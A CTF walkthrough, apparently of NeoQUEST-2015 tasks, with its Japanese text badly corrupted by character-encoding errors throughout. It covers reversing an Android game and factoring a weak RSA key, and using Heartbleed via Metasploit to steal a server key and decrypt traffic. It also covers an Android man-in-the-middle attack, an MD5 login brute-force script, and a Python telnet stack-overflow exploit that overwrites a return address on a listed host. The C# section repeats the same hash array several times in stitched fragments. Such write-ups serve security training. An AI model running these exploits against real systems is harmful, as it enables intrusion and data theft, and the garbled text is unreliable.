
- ããã¹ãã£ãã¯ã¹ã¯ãšã¢ã-Androidã® ãã¿ã°ããšRSAæå·ã·ã¹ãã ãžã®æ»æ
- ãã¡ã€ãœã³æ¥ç¶ã -ãããã¯ãŒã¯ãã©ãã£ãã¯ã®ãã³ãã®åæãšããã®åŸã®HeartBleedè匱æ§ã®å®è£
- ãRaSSLedovanieã-Androidã§ã®äžéè æ»æ
- åæ ãšå åŒæ -CïŒã¢ããªã±ãŒã·ã§ã³ãªããŒã¹
1.ããã¹ãã£ãã¯ã¹ã¯ãšã¢ã-Androidã®ãã¿ã°ã

ãã¿ã°ããåéããŸã
ãããã£ãŠãæåã¯game.apkãã¡ã€ã«ããããŸãããããã¯Androidã¢ããªã±ãŒã·ã§ã³ã«éããªãããšã¯æããã§ãã
ãŸãããããèµ·åãã䟡å€ããããŸã-ããã¯ãåçŽãªåäŸåãã®ãã¿ã°ãã²ãŒã ã§ããããšãããããŸãã ctfã§ã¿ã¹ã¯ãå®äºããããã«æ¬åœã«åçãåéããå¿ èŠããããŸããïŒ ããã§ãïŒ ã¢ããªã±ãŒã·ã§ã³èªäœã§ç»åãåéããããã¢ããªã±ãŒã·ã§ã³ãªãœãŒã¹ïŒres / drawableãã£ã¬ã¯ããªïŒããç»åããã«ããã°ã©ãã£ã«ã«ãšãã£ã¿ãŒã§æ®µèœãæãç³ãããšã§ç»åãåéã§ããŸãã ç»åãåéããã10838670582455823456841ããšããè¡ãååŸããŸããã
Androidã¢ããªã®ãªããŒã¹
次ã«äœãããïŒ æåã®èãã¯ãAndroidã¢ããªã±ãŒã·ã§ã³ãéã«ããããšã§ãã ã¢ããªã±ãŒã·ã§ã³ããclasses.dexãã¡ã€ã«ãååŸããŸããããã¯ãAndroidã§äœ¿çšãããããã°ã©ã ã®ãã€ãã³ãŒãã§ãã 次ã«ãdex2jarãŠãŒãã£ãªãã£ã䜿çšããŠãclasss.dex.dex2jar.jarãã¡ã€ã«ãååŸããŸããããã¯ãjd-guiããã°ã©ã ã䜿çšããŠèŠãã®ã«äŸ¿å©ã§ãã
ãšã³ããªãã€ã³ãã¯MyActivityã¯ã©ã¹ã§ãã
public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { switch (paramInt) { default: return super.onKeyDown(paramInt, paramKeyEvent); case 82: } startActivity(new Intent(this, InputOne.class)); return true; }
ãã¿ã³ãã¯ãªãã¯ãããšãInputOneãåŒã³åºãããããšãããããŸãã InputOneã¯ã©ã¹ãèŠãŠã¿ãŸãããã
public class InputOne extends Activity { protected void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903041); EditText localEditText = (EditText)findViewById(2131034112); ((Button)findViewById(2131034113)).setOnClickListener(new View.OnClickListener(localEditText) { public void onClick(View paramView) { String str1 = this.val$editText.getText().toString(); if (new File("/sdcard/key.txt").exists()) { String str2 = Simple.Decrypt(str1); Toast.makeText(InputOne.this.getBaseContext(), str2, 1).show(); return; } try { Simple.get(str1); return; } catch (IOException localIOException) { localIOException.printStackTrace(); } } }); } }
ãã®ã¯ã©ã¹ã§ã¯ãå ¥åãã£ãŒã«ãã«å ¥åãããè¡ãååŸããããã¡ã€ã«ã/sdcard/key.txtãã®ååšã確èªãããŸãã ããã§ããå ŽåãSimpleã¯ã©ã¹ã®Decryptã¡ãœãããåŒã³åºãããããã§ãªãå Žåãåãã¯ã©ã¹ã®getã¡ãœãããåŒã³åºãããŸãã ãããã®åã¡ãœããã¯ãå ¥åãã£ãŒã«ãã«å ¥åãããæååãæž¡ããŸãã
ãã®ãããªãã¡ã€ã«ã¯ãããŸãã-getã¡ãœãããèŠãŠãã ããã
public static void get(String paramString) throws IOException { QueryString localQueryString = new QueryString().add("message", paramString); if (localQueryString == null) Log.e("Info", "NULL"); for (URLConnection localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php").openConnection(); ; localURLConnection = new URL("http://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?" + localQueryString).openConnection()) { localURLConnection.getInputStream(); String str = readStreamToString(localURLConnection.getInputStream(), "UTF-8"); Log.e("Info", str); if (!str.equals("Error")) { FileWriter localFileWriter = new FileWriter(new File("/sdcard/key.txt")); localFileWriter.write(str); localFileWriter.close(); } return; } }
ãã®ã¡ãœããã¯ããhttp://79.175.2.83/0b32bd28a8632f9895f9d5d8a6c51dad/game.php?message= 'entered string'ããšãã圢åŒã®GETãªã¯ãšã¹ããçæããçµæãããšã©ãŒãã§ãªãå Žåããã¡ã€ã«ã/sdcard/key.txtãã«ä¿åããŸãã ãã
次ã«ãã²ãŒã ããåãåã£ãã³ãŒããã¢ããªã±ãŒã·ã§ã³ã«å ¥åããå¿ èŠããããŸããããã«ãããkey.txtãã¡ã€ã«ãããã€ã¹ã®ã¡ã¢ãªã«ãŒãã«ããŠã³ããŒããããŸãã ãã¡ã€ã«ã®åœ¢åŒã¯æ¬¡ã®ãšããã§ãã
5890287499022904927250918089905639153507
3148792732424313619076650032785631134
ããŒ= a0bf0f01485a59addf4f9374e7c2a7b5
ã泚æ-æå·åïŒã
æåã®ããŒããã€ãã³ã°ããã泚æåãšå°ãã®æå·åã®ã¿ã¹ã¯ã«ãªããŸããã Simpleã¯ã©ã¹ã®Decryptã¡ãœããã¯ãŸã 調æ»ãããŠããŸãããåãå ¥åè¡ã«ãã¡ã€ã«ã/sdcard/key.txtããå ¥åãããšåŒã³åºãããŸãã ããããæåã«ãããã§äœãèµ·ããããç解ããŸãããã
public static String Decrypt(String paramString) { ArrayList localArrayList = new ArrayList(); try { Scanner localScanner = new Scanner(new File("/sdcard/key.txt")); while (localScanner.hasNextLine()) localArrayList.add(localScanner.nextLine()); } catch (FileNotFoundException localFileNotFoundException) { return "0"; } BigInteger localBigInteger = new BigInteger((String)localArrayList.get(0)); if (new BigInteger((String)localArrayList.get(1)).modPow(e, n).equals(localBigInteger)) { new File("/sdcard/key.txt").delete(); return localBigInteger.modPow(new BigInteger(paramString), n).toString(16); } return "0"; }
ãããã£ãŠãéåžžã®RSAã§ããåã«ãå ¬éããŒïŒeãnïŒãç¥ã£ãŠããŸããããã«dãèŠã€ãããããå ¥åè¡ã«å ¥åããŠããŒãååŸãããã®ã§ãããããã¯äœãããéèŠã§ãã ããã§äœãèµ·ãããèŠãŠã¿ãŸãããã
ãã¡ã€ã«ã®æåã®è¡ã«çœ²åãã2çªç®ã®è¡ã«çœ²åããŸãã ããã°ã©ã ã¯mesâ¡sign e ïŒmod nïŒããã§ãã¯ãããã®åŸmes d ïŒmod nïŒãèšç®ãããŸãã ããã§ã¯ããããäœã§ããããèããŸãããã ããŒããŒããããdã§æå·åãããmesâ¡key d ïŒmod nïŒãååŸããmesâ¡sign e ïŒmod nïŒã«çœ²åããŠãããããã¹ãŠããã¡ã€ã«ã«æžã蟌ã¿ãŸããã å°ã泚æãå¿ èŠã§ããããŒâ¡èšå·ïŒmod nïŒãã€ãŸãããŒããã¡ã€ã«ã®2è¡ç®ãã€ãŸãã3148792732424313619076650032785631134 = 0x025e6f77c39943f83d1d2f8770a1a79ãã§ããããšã確èªããŸãã ãããŠä»ã泚æåã®2çªç®ã®ãã¹ãïŒãã¹ãŠã®ããŒã¯128ãããã®ããã·ã¥å€ã§ããã€ãŸããããŒã¯025e6f77c39943f83d1d2f8770a1a79ã§ãããããã ãã§ãïŒ
泚æ床ã®äœããã®ã®ééãªãã·ã§ã³ã¯ãnã8286006298514071265735892332006920710569 = 81227239281928373027 * 102010192292200202947ã§å æ°å解ããnã®ãªã€ã©ãŒé¢æ°ãèšç®ããããšã§ãã
ÏïŒnïŒ=ïŒ81227239281928373027-1ïŒ*ïŒ102010192292200202947-1ïŒ= 8286006298514071265552654900432792134596
d = 4708825181381486710928551540092728302699ã®nãæ³ãšããä¹æ³ãšããŠdãèšç®ããã ãã§ããå ¥åè¡ã«dãå ¥åãããšã25e6f77c39943f83d1d2f8770a1a79ãååŸãããæåã®0ãè¿œå ãããŠ025e6f83d1c143943ãååŸãããŸãã
ãããã£ãŠãåå è ã¯ã²ãŒã ã15ãã§ç»åãåéããã¢ããªã±ãŒã·ã§ã³ãå°ãéã«ããèŠã€ãã£ãå ¥åè¡ã«ããŒãå ¥åããRSAã¹ããŒã ã®å®è£ ã§ãšã©ãŒãèŠã€ããïŒéåžžã«æ³šæããŠãã ããïŒããã¢ãžã¥ãŒã«å解ã«æ»æãè¡ãå¿ èŠããããŸããã ã¡ãªã¿ã«ãã¯ãšã¹ãåå è ããããšããã§ã©ã®ããã«ãã®ã¿ã¹ã¯ãå®äºããããèŠãããšãã§ããŸã ïŒ2çªç®ã®ãªã³ã¯ã«ã¯ãããã€ãã®NeoQUEST-2015ã¿ã¹ã¯ã®ããªã倧ããªæŠèŠãå«ãŸããŠããŸãïŒã
2.ãã¡ã€ãœã³æ¥ç¶ã-ããŒãããªãŒããå®è£ ããŸã
å²ãåœãŠæã«ãNeoqueståå è ã«ã¯ãããã¯ãŒã¯ãã³ããã¡ã€ã«ãçºè¡ãããŸãã ããšãã°Wiresharkã§éããšã次ã®ããã±ãŒãžã衚瀺ãããŸãã

ãã®ãã³ãããã2ã€ã®ããŒãéã®httpsãã©ãã£ãã¯ãããã§åéãããã¯ã©ã€ã¢ã³ããIPã¢ãã¬ã¹79.175.2.84ã§ãµãŒããŒã«æ¥ç¶ããæšæºããŒã443ã䜿çšãããŠããããšãããããŸãããã®ãµãŒããŒã«ã¢ã¯ã»ã¹ããŠã次ã®å¿çãååŸããŸãã
ç³ãèš³ãããŸããããç§ãã¡ã¯ããªããç¥ããŸãã
次ã®ã¹ãããã¯ãè匱æ§ãæ€çŽ¢ããããã«ãã®ãµãŒããŒãã¹ãã£ã³ããããšã§ãã éãè¯ããã°ããªãããã®æãç©ŽãèŠã€ãããã©ãã§ãããïŒ ããŒã443ãèŠããŠãæåã«æ¢ç¥ã®SSL Heartbleedã®è匱æ§ã«ã€ããŠãµãŒããŒããã§ãã¯ããŸãã ãããè¡ãã«ã¯ãNmap Scripting Engineããé©åãªã¹ã¯ãªããã䜿çšã§ããŸãã

é 匵ã£ãŠïŒ SSLã§ããç¥ãããŠããè匱æ§ãHeartBleedãæ¬åœã«èŠã€ããŸããã
ç§ãã¡ã«ãšã£ãŠæãéèŠãªããšã¯ããããå©çšããŠããµãŒããŒã®ç§å¯éµãååŸãããã³ãã解èªã§ããããšã§ãã ããã«èšã£ãŠãã£ãïŒ MetasploitãååŸããopenssl_heartbleedã¹ã¯ãªãããå®è¡ããŸãããã®ãããªç°¡åãªåäœã§ãç§å¯ããŒãååŸããŸãã

ããŒãåä¿¡ãããšãæåã®ã¹ããããå®è¡ããããã©ãã£ãã¯ã埩å·åããŠããã©ãã£ãã¯ããããå€ãã®æ å ±ãååŸã§ããŸãã Wiresharkã«æ»ããããŒãã¢ããããŒãããŠãã©ãã£ãã¯ã埩å·åããŸãããã 埩å·ååŸã次ã®ãã®ãåŸãããŸãã

埩å·åããããã³ãã§ã¯ãäž»ã«GETãªã¯ãšã¹ãã«é¢å¿ããããŸãã CookieïŒidãšhashãããã«æž¡ãããããšãããããŸãã ã©ãããã圌ãã¯èªèšŒã«äœ¿çšãããŸãã

çãããŠãŒã¶ãŒãšãŒãžã§ã³ãïŒãã°ã©ã³ããããžãã泚ç®ãéããŠããŸãã åãCookieãšUser-Agentã䜿çšããŠãã±ãããéä¿¡ãããšã次ã®å¿çãè¿ãããŸãã

ãªã³ã¯ããã©ããšãç®çã®ããŒãèŠã€ãããŸãïŒ
3.ãraSSLedovanieã-Androidã§ã®äžéè æ»æ
ã¿ã¹ã¯ããssviewer.apk APKãã¡ã€ã«ãããŠã³ããŒãããAndroidãšãã¥ã¬ãŒã¿ãŒã«ã€ã³ã¹ããŒã«ããŸãã ã¢ããªã±ãŒã·ã§ã³ãèµ·åãããšãã€ã³ã¿ãŒãã§ãŒã¹ã衚瀺ãããŸãã

ãã¿ã³ãã¯ãªãã¯ããŠãã ããïŒ

ã200 okããšããã¡ãã»ãŒãžã¯ãã¢ããªã±ãŒã·ã§ã³ãšãµãŒããŒãšã®ãããã¯ãŒã¯çžäºäœçšã瀺ããŠããŸãã ã¹ããã¡ãŒã§èª¿ã¹ãŠã¿ãŸãããïŒããšãã°ã FiddlerãååŸããŸãïŒã db765.ruãžã®ã¢ããŒã«ããããŸãã MITMæ»æãå®è¡ããŠã¿ãŸãããã
Fiddlerãã»ããã¢ãããããã®ã«ãŒã蚌ææžããšã¯ã¹ããŒãããŸãã

ãã®åŸãAndroidã®èšŒææžãä¿¡é Œæžã¿ã«è¿œå ããŸãã Fiddlerã§ãã©ãã£ãã¯ããªãã¹ã³ãããããã·ãã€ã³ã¹ããŒã«ããŸãã

ã¢ããªã±ãŒã·ã§ã³ãå床起åããã¹ããã¡ãŒã§ãµãŒããŒã®å¿çããã£ããããŸãã

çãã«ã¯base64ããããŸãã 解åããŠzipã¢ãŒã«ã€ããååŸããŸãããã®ãã¡ã€ã«ã«ã¯ããSSLK3YDB765ããšããåçãèšèŒãããåçããããŸãã
å®è·µã瀺ããŠããããã«ãå€æ°ã®åå è ããã®ã¿ã¹ã¯ã«å¯ŸåŠããåè³è n0n3m4ã¯èå³æ·±ãã¿ã€ãã«ãNeoQUEST 2015ïŒraSSLedovanieã13åã§è§£æ±ºããæ¹æ³ãã§èšäºãæžããŸãã ã
4.ãåæ ãšå åŒæã-CïŒã§ã®éé©çš
åå è ã«äžããããã®ã¯ãlogin.exeãš.so圢åŒã®ãã¡ã€ã«ã®2ã€ã®ãã¡ã€ã«ã ãã§ããã login.exeãå®è¡ããåŸãã¢ããªã±ãŒã·ã§ã³ã¯ãã°ã€ã³ãèŠæ±ããŸãã

ããŒã1
.NET ReflectorãåãåºããŠãéã³ã³ãã€ã«ããŸãã çãæ€çŽ¢ã®åŸã次ã®ã³ãŒããèŠã€ããŸãã
private void textBox1_TextChanged(object sender, EventArgs e) { string text = this.textBox1.Text; if (text.Length == 0) { this.label1.Text = "Enter you login"; } else if (!this.hashes.Contains<string>(this.GetHashString(text))) { this.label1.Text = "Incorrect login!"; } else if (text.Length == 0x20) { this.label1.Text = "You have successfully logged in!"; this.groupBox1.Enabled = false; this.tcpSocket = new TcpClient(this.host, this.port); this.groupBox2.Visible = true; this.timer1.Start(); } else { this.label1.Text = "Enter next character of your login"; } }
次ã®è¡ã«èå³ããããŸãã
else if (!this.hashes.Contains<string>(this.GetHashString(text)))
ã³ãŒãã¯ãå ¥åãããçŸåšã®ãã°ã€ã³ã®ããã·ã¥ã®ããã·ã¥é åããã§ãã¯ããŸãã
ããã·ã¥é¢æ°ïŒ
private string GetHashString(string s) { byte[] bytes = Encoding.ASCII.GetBytes(s); byte[] buffer2 = new MD5CryptoServiceProvider().ComputeHash(bytes); string str = string.Empty; foreach (byte num in buffer2) { str = str + string.Format("{0:x2}", num); } return str; }
ããã·ã¥é åïŒ
this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };
"4ad9eab6a9bd83eec4723d05444059e2"ã "4f60dca64aedd943e4fccb8bbf18e25c"ã "9ed2ac984ed7182a4974a4bab0ad8fcd"ã "826fc5d7998c16eeb77abc00702a00ab"ã "4ec559ee5a6249f0c69ab8ff9b804072"ã "0eebdd1e6d919d04cdee9646607786c3"ã "172cfbcb9d8de7425233fd7183f43c21"ã "7174ce70d0702083e26d285196d36cf2"ã "77526663ec282d1d1f62229ab980edd5"ã "c7f399fb9f981ba2445ba573ec668cef"ããefa9d9d29367af2b3c1cc1494f882f2d this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };
"138378fc00ad7d559f0418019e750b19"ã "39eb98f5edec84e35f52feff51c94a25"ã "3ff5db4ebc8437f338ce978fddcfb334"ã "e1cd7a2a000a2fe69f909a2e46dab073"ã "bf80eafce6f8d51220dd6603295852d5"ã "f8bc2fbe2c937ea5b5e8839cbea69491"ã "e8bb39c756ad2b46a80b3f07c8422037"ã "a3d4832c6cc0b51163e04301e6a17b55"ã "bc7a6cff6c8507488e186d378ec12b38"ã "deaeb78d2c64a16cecd1a718e226db52"ããc81e728d9d4c2f636f067f89cc14862c this.hashes = new string[] { "dfa7b3505d612417911b86b89f869d6c", "73b6951965fda60be0c69da1411e59af", "4ad9eab6a9bd83eec4723d05444059e2", "4f60dca64aedd943e4fccb8bbf18e25c", "9ed2ac984ed7182a4974a4bab0ad8fcd", "826fc5d7998c16eeb77abc00702a00ab", "4ec559ee5a6249f0c69ab8ff9b804072", "0eebdd1e6d919d04cdee9646607786c3", "172cfbcb9d8de7425233fd7183f43c21", "7174ce70d0702083e26d285196d36cf2", "77526663ec282d1d1f62229ab980edd5", "c7f399fb9f981ba2445ba573ec668cef", "efa9d9d29367af2b3c1cc1494f882f2d", "01e5f7d323222fd161fcbd0b32f26b2b", "83daec0d569704618ecf60d19b031082", "a2c2c74263df7545cb857b69ce5820b2", "ac13be701bc79036602ae9f355e6c389", "d33bf0c58b48508c706d32c6e8a171d4", "138378fc00ad7d559f0418019e750b19", "39eb98f5edec84e35f52feff51c94a25", "3ff5db4ebc8437f338ce978fddcfb334", "e1cd7a2a000a2fe69f909a2e46dab073", "bf80eafce6f8d51220dd6603295852d5", "f8bc2fbe2c937ea5b5e8839cbea69491", "e8bb39c756ad2b46a80b3f07c8422037", "a3d4832c6cc0b51163e04301e6a17b55", "bc7a6cff6c8507488e186d378ec12b38", "deaeb78d2c64a16cecd1a718e226db52", "c81e728d9d4c2f636f067f89cc14862c", "7742638106aea26564f3f6fa02fe1265", "7c8104aa5e88bee40658c61c5f869284", "71e157ffdf45f4946e95d0ac115466a1" };
Python 3ãã°ã€ã³ãããã³ã°ããã°ã©ã ã¯æ¬¡ã®ããã«ãªããŸãã
import hashlib hashes = ( 'dfa7b3505d612417911b86b89f869d6c', '73b6951965fda60be0c69da1411e59af', '4ad9eab6a9bd83eec4723d05444059e2', '4f60dca64aedd943e4fccb8bbf18e25c', '9ed2ac984ed7182a4974a4bab0ad8fcd', '826fc5d7998c16eeb77abc00702a00ab', '4ec559ee5a6249f0c69ab8ff9b804072', '0eebdd1e6d919d04cdee9646607786c3', '172cfbcb9d8de7425233fd7183f43c21', '7174ce70d0702083e26d285196d36cf2', '77526663ec282d1d1f62229ab980edd5', 'c7f399fb9f981ba2445ba573ec668cef', 'efa9d9d29367af2b3c1cc1494f882f2d', '01e5f7d323222fd161fcbd0b32f26b2b', '83daec0d569704618ecf60d19b031082', 'a2c2c74263df7545cb857b69ce5820b2', 'ac13be701bc79036602ae9f355e6c389', 'd33bf0c58b48508c706d32c6e8a171d4', '138378fc00ad7d559f0418019e750b19', '39eb98f5edec84e35f52feff51c94a25', '3ff5db4ebc8437f338ce978fddcfb334', 'e1cd7a2a000a2fe69f909a2e46dab073', 'bf80eafce6f8d51220dd6603295852d5', 'f8bc2fbe2c937ea5b5e8839cbea69491', 'e8bb39c756ad2b46a80b3f07c8422037', 'a3d4832c6cc0b51163e04301e6a17b55', 'bc7a6cff6c8507488e186d378ec12b38', 'deaeb78d2c64a16cecd1a718e226db52', 'c81e728d9d4c2f636f067f89cc14862c', '7742638106aea26564f3f6fa02fe1265', '7c8104aa5e88bee40658c61c5f869284', '71e157ffdf45f4946e95d0ac115466a1' ) login = '' chars = 'abcdef1234567890' for i in range(32): for j in range(len(chars)): hash = hashlib.md5((login + chars[j]).encode('utf-8')).hexdigest() if hash in hashes: login += chars[j] print(login)
ãã®çµæã2b638b6da52bfad2d99dbab4018237dfãšããããŒã衚瀺ãããŸãã
ããŒã2
æåã®éšåïŒä»é²CïŒïŒã§ããŒãæ£åžžã«éžæããããšãtelnetã³ã³ãœãŒã«ãéãããã¹ã¯ãŒãã®å ¥åãæ±ããããŸãã libtest.soã©ã€ãã©ãªãå¿ èŠã§ãã

Puttyã䜿çšããæ¹ãã¯ããã«äŸ¿å©ã§ãïŒ.NET Reflectorã§IPãšããŒãã確èªããŸãïŒ
this.host = "79.175.2.85"; this.port = 0x1f90;
libtest.soãéã¢ã»ã³ãã«ããŸãã æåã«æ°ä»ãã®ã¯ãStartTesté¢æ°ã§ãã
public StartTest StartTest proc near s2= byte ptr -20h push rbp mov rbp, rsp sub rsp, 20h lea rdi, aHello ; "\nHello!\n" call _puts mov rax, cs:pGetFlag_ptr mov rdx, cs:GetFlag_ptr mov [rax], rdx lea rsi, modes ; "r" lea rdi, aHomeSrvPass_tx ; "/home/srv/pass.txt" call _fopen âŠ
ã³ãŒãã¯ãã¡ã€ã«/home/srv/pass.txtãèªã¿åãããŠãŒã¶ãŒãå ¥åããè¡ãšæ¯èŒããŸãã ãã¹ã¯ãŒããäžèŽãããšããã¡ã€ã«/home/srv/flag2.txtã®ããã¹ããç»é¢ã«è¡šç€ºãããŸãã ãã以å€ã®å Žåãæ€èšŒãµã€ã¯ã«ãç¹°ãè¿ãããŸãã
loc_DD4: ; seconds mov edi, 1 call _sleep lea rax, [rbp+s2] lea rdx, [rbp+s2] add rdx, 10h mov rsi, rax ; s2 mov rdi, rdx ; s1 call _strcmp test eax, eax jnz short loc_D7A
æããã«ããŠãŒã¶ãŒã16æåããé·ããã¹ã¯ãŒããå ¥åãããšããã¡ã€ã«ããèªã¿åããããã¹ã¯ãŒããæã€ã¹ã¿ãã¯å€æ°ãäžæžããããŸãã
mov rax, cs:stdin_ptr mov rdx, [rax] ; stream lea rax, [rbp+s2] mov esi, 64h ; n mov rdi, rax ; s call _fgets
Cã®å ã®æ§é ïŒ
struct info { char entered_pass[16]; char correct_pass[16]; };
ãã©ã°ãååŸããã«ã¯ã2çªç®ã®ãªã¯ãšã¹ãã§ãaaaaaaaaaaaaaaaaaaãïŒ17æåïŒãš1ã€ã®æžãæããããæåãå ¥åããã ãã§ååã§ãã

2çªç®ã®ãã©ã°ïŒ3ed54ac12757f4c2b4fabd64d41de42d
ããŒã3
3çªç®ã®ããŒãååŸããã«ã¯ãlibtest.soã®ãªã¹ãã«æ»ããŸãããã
GetFlagé¢æ°ã¯çãããããã§ãïŒ
public GetFlag GetFlag proc near s= byte ptr -70h stream= qword ptr -8 push rbp mov rbp, rsp sub rsp, 70h lea rsi, modes ; "r" lea rdi, filename ; "/home/srv/flag3.txt" call _fopen âŠ
ã³ãŒãã¯ãã¡ã€ã«ã/home/srv/flag3.txtããèªã¿åããç»é¢ã«è¡šç€ºããŸãã ããããé¢æ°ã¯ã©ãã«ãåŒã³åºãããŸããïŒ
2çªç®ã®éšåãããã¢ããªã±ãŒã·ã§ã³ãã¹ã¿ãã¯ãªãŒããŒãããŒã«å¯ŸããŠè匱ã§ããããšãããããŸãã GetFlagé¢æ°ãåŒã³åºãã·ã§ã«ã³ãŒããäœæããŠã¿ãŸãããã
Entered_paââssã«å ¥åããŸãã
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
correct_passãå ¥åããŸãã
\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
次ã«ãGetFlagé¢æ°ãå®è¡ãããããã«ããªã¿ãŒã³ã¢ãã¬ã¹ãæžãæããå¿ èŠããããŸãã
GetFlagé¢æ°ã®ã¢ãã¬ã¹ã決å®ããã«ã¯ãããã¯ãã¬ãŒã¹ã®åºåãå¿ èŠã§ããããã¯ã16æåãè¶ ãããã¹ã¯ãŒããå ¥åããå Žåã®ãã³ããšããŠè¡šç€ºãããŸãã
ãããã£ãŠãããã¯ãã¬ãŒã¹ããStartTestã®ã¢ãã¬ã¹ãèŠã€ããããšãã§ãããã®é¢æ°ã«é¢ããŠã¯ãã§ã«GetFlagã®ã¢ãã¬ã¹ãèšç®ããŸãã ã¢ãã¬ã¹ã¯éå§ããšã«å€åãããããStartTestã¢ãã¬ã¹ããã®å Žã§ååŸããGetFlagã¢ãã¬ã¹ãèšç®ããå¿ èŠããããŸãã
Python 2.7ã§ãã©ã°ãååŸããã³ãŒãã¯æ¬¡ã®ããã«ãªããŸãã
import telnetlib import re tn = telnetlib.Telnet('79.175.2.85', 8080) read = tn.read_until(b"password: ").decode() print(read) tn.write(b'aaaaaaaaaaaaaaaaa\r\n') read = tn.read_until(b"password: ").decode() print(read) p = re.compile(r'\(StartTest\+0xd0\) \[(.+?)\]', re.MULTILINE | re.DOTALL) m = p.search(read) addr = (hex(int(m.group(1), 16) - 208 - 271))[2:] raddr = '' raddr += addr[10]; raddr += addr[11]; raddr += addr[8]; raddr += addr[9]; raddr += addr[6]; raddr += addr[7]; raddr += addr[4]; raddr += addr[5]; raddr += addr[2]; raddr += addr[3]; raddr += addr[0]; raddr += addr[1]; raddr = raddr.decode('hex') tn.write(b'\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + raddr + '\x00\x00\n') read = tn.read_until(b"password: ").decode() print("") print(read)

3çªç®ã®ãã©ã°ïŒ1946fcc08e026023fd53f935769c7f52
ç¶ç¶ããã«ã¯...
ããã«-ãã£ãšïŒ å ã«NeoQUEST-2015ã®æ®ãã®ã¿ã¹ã¯ã®åæããããŸãããã®åŸã7æã®ã察決ãã§ã²ã¹ããåŸ ã£ãŠããç§å¯ã®ããŒã«ãéãå§ããŸãïŒ